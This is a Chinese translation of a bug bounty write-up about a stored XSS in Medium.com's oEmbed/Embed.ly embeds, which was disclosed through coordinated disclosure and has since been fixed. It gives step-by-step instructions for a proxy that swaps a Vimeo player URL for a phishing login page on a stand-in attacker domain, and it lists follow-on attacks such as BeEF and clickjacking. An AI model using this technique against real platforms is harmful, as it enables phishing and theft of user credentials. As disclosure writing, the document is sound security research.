Medium.com的存儲型xss(未經驗證的oEmbed)

翻譯自:https://medium.com/@jonathanbouman/stored-xss-unvalidated-embed-at-medium-com-528b0d6d4982
翻譯:聶心明

你想參加私有衆測?我很樂意邀請你,請聯繫我[email protected]

背景

在我的上一篇文章中,你可以瞭解到很多關於反射型xss的。下面的這個攻擊就可以欺騙用戶去訪問一個準備好的url。

但是如果我們把我們的JavaScript代碼放入頁面裏面的話,會發生什麼呢?

影響會非常巨大;沒有特殊的urls,也沒有XSS auditors打擾我的興致。我們稱之爲存儲型xss。你可能會記得,我們用這種攻擊方式成功過一次;請看這篇文章

不斷的搜索目標,這樣才能幫助我們找到更多的漏洞。那麼Medium.com?Woohoo!他們家也有很棒的應急響應中心

我非常喜歡用這個平臺寫文章。它的設計整潔,沒有廣告,而且它非常棒。真心非常喜歡它。

我今天非常榮幸的登上了他們的名人堂
https://medium.com/humans.txt

識別目標

Medium所做的事情就是存儲信息,然後再把這些信息分享出去。我們尋找一種方式把我們的代碼放進文章裏面,並且讓他執行起來。所以我們來看看他們的故事編輯器。

這個編輯器支持多種類型的內容;純文本,圖像和媒體文件。

通過嵌入媒體文件,可以豐富你的故事。比如,加載外部的視頻,展示你推特主頁上的個人信息。你只需要在編輯器上點“+”,粘貼上url,再點一下回車,你就看到魔法的發生。這種魔法叫oEmbed.

如果你有一個像Medium.com一樣的平臺,並且你想支持所有的類型。這就意味着你要手動操作白名單來限制外部的網站,同時還要保證插件的安全,適配插入的數據,和保持插件的拓展性。

這些事情都不是很容易的,但是,Medium.com把它做成了一個產品,Embed.ly

Mmm,如果我們變成一個供應商,在裏面放入惡意的代碼呢?超棒,通過插入代碼馬上就可以在博文中注入代碼。

讓我們做一個假的登錄頁面來作爲poc吧。

Embed.ly是怎樣工作的呢?

屏幕後面究竟發生了什麼樣的事情呢?首先,看一下它們的文檔,看看他們支持什麼樣的數據格式

所以,這就意味着,我們惡意網站中內容必須包含合適的oEmbed標籤?想想如果網頁中包含了oEmbed標籤,那麼這個標籤中內容就是一個視頻播發器,但是要如何無聲的加載一個假的登錄頁面呢?

沒有那麼快的,朋友。假的登錄頁面頁面會在目標網站上被渲染成爲一個包含標題,描述,域名的盒子。下面是它的佈局:

僅僅有權限的人才被允許嵌入它們的魔法。我聽見你說:“好吧,那我就成爲一個提供商吧”。但是不幸的是,想要申請成爲一個提供商就意味着我們需要一點社會工程學的技巧。Medium.com是不允許通過這樣的方式來找到漏洞的。

讓我們打開Medium的編輯器,如果我們嘗試插入 vimeo video,看看瀏覽器做了什麼事情。因爲Vimeo在白名單中,所以這個視頻應該可以被成功的插入,然後我們需要了解更多關於Embed.ly內部的工作原理。

oEmbed是怎樣工作的呢?給你們看截圖





重點關注的是Embed.ly給每一個嵌入的資源創建了一個mediaResourceId。這個mediaResourceId是url的MD5,這是一個明智的舉動,可以讓後端把結果緩存起來。如果有人已經引用過該資源,那麼Embed.ly服務器馬上就可以從緩存中把這個資源取出來。

Medium使用博文中的mediaResourceId去引用指定的資源,博文中不會存儲相關的html數據。

所以,我們要前欺騙Embed.ly,讓它給我們的釣魚頁面創建一個mediaResourceId。而且Embed.ly要通過mediaResourceId來在一個框架中顯示我的釣魚頁面。

讓我們看看,如果我們試圖創建我們自己的mediaResourceId會發生什麼

不成功。難道要添加一些 oEmbed或者Open Graph的標籤才能把釣魚頁面以播放器的形式嵌入進博文嗎?不走運的是,我嘗試了幾乎所有的方法,還是不行。

所以我必須想想其他的方法。

用Vimeo作爲代理

通過截屏5,我們可以知道,Embed.ly可以嵌入來自Vimeo的視頻,並且可以爲視頻加載視頻播放器。

GET /widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F142424242%3Fapp_id%3D122963&dntp=1&url=https%3A%2F%2Fvimeo.com%2F142424242&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=vimeo

解碼後

GET /widgets/media.html?src=https://player.vimeo.com/video/142424242?app_id=122963&dntp=1&url=https://vimeo.com/142424242&image=https://i.vimeocdn.com/video/540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text/html&schema=vimeo

如果我們進行一次中間人攻擊,並且假裝自己是Vimeo的話,那麼是否可以成功?這樣我們就可以改變Vimeo的返回報文,來去加載我們自己的登錄頁面了。搜索指向vimeo的字符串https://player.vimeo.com/video/142424242,把它改成https://evildomain.ltd/fakelogin,這聽起來不錯。

中間人攻擊

  1. 快速搭建:打開你的php服務器,上傳你的釣魚頁面(頁面文件中包含一個設計好的假的登錄頁面),上傳代理文件(miniProxy, 允許我們加載指定的外部鏈接,並且改變服務器返回的報文)
  2. 在proxy.php的381行上面,也就是//Parse the DOM上面添加$responseBody = str_replace("https://player.vimeo.com/video/142424242", "https://evildomain.ltd/embedly/fakelogin.html", $responseBody);
  3. 創建一個新的Medium博文
  4. 插入一個鏈接 https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242
  5. Medium.com將會請求 https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242以獲取到詳細信息,我們向他們發送一個與Vimeo相同的報文,但是在播放器中只包含了我們的釣魚頁面。
  6. 等待魔法的發生,我們的代碼注入成功了

讓我們重新加載這篇文章,看到假的登錄頁面已經被成功的加載

討論 什麼是協同漏洞披露CVD?

你可能還記得上一篇關於 IKEA的文章;一起合作披露這一切會花費一些時間。今天我們在Medium.com遇到了相同的問題。

這個問題正在被討論;在聯繫到他們的工程師之前,我收到了十一封電子郵件。當我們開始討論的時候,我們迅速的找到最開始的bug,並且把它解決掉了,但是它們的緩存服務器裏面還留着惡意的payload,。之後Medium清理了惡意的緩存。之後我公開了這篇文章。整個過程花了86天。

來自國家網絡信息中心的新守則

在2018年10月4日,荷蘭政府爲cvd公開了一份新的守則。這個新守則修正了2013年發佈的漏洞報告披露守則。他們把名字從漏洞報告披露守則改爲有序漏洞披露。主要的原因是因爲,他們想把主要的精力放在清晰的交流和互相的協作方面。

讓漏洞報告者和技術工程師進行直接交流是cvd的初衷。作爲最後的選項:完全披露,現在也在守則中有所提及

cvd的核心思想是減少漏洞,如果感覺修復流程持續的太久,那麼漏洞可以被完全披露。對於報告方來說這種措施可以督促廠商修復漏洞。很自然的是,這種情況應該儘可能的被阻止。

想到IKEA那篇文章時,我覺得我應該試圖去避免這種情況的發生。

從這篇報告中我學到一課,就是,雖然公司也有自己的cvd流程,但是我們也需要在解決漏洞的過程中保持耐心。

對於公司來說,讓漏洞報告者更容易的接近工程師是非常重要的,這可以幫助漏洞工程師一起協作修復漏洞,並且可以及時更新報告內容。這也會互相節省大量的時間。

結論

我發現一種方式可以在博文中存儲我自己的html和JavaScript代碼,當受害者的瀏覽器訪問到我發在Medium上的文章時,就會執行我存儲在博文上的代碼。我通過中間人攻擊來操作oEmbed標籤,從而達到在頁面上存儲惡意代碼的效果。

我們注入的JavaScript只能運行在Medium.com的頁面框架中,這就意味着雖然我們的JavaScript被注入到頁面之中,但是我們不能訪問Medium.com的cookie,或者操作父頁面上的dom。這樣的話,這個漏洞的危害程度進一步減小。

可是這個漏洞依然可以導致很多危害。一個普通的訪客是不可能區分正常的登錄頁面和一個釣魚頁面的。

攻擊的危害

  1. 完美的釣魚頁面
  2. 在用戶輸入他們的憑證之後,我可以把頁面自動重定向到另一個頁面,而不 會引起懷疑(通過使用top.location.href)
  3. 用beef攻擊訪問者
  4. 會造成點擊劫持攻擊

我還忘了哪些呢?請給我留言

解決方案

  1. 改善oEmbed獲取器的檢查流程,禁止框架訪問沒有經過驗證的源
  2. 不要用框架
  3. 檢查緩存(這件事雖然很困難)

賞金

100元,在 humans.txt 被提及,還有一件Medium的文化衫

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章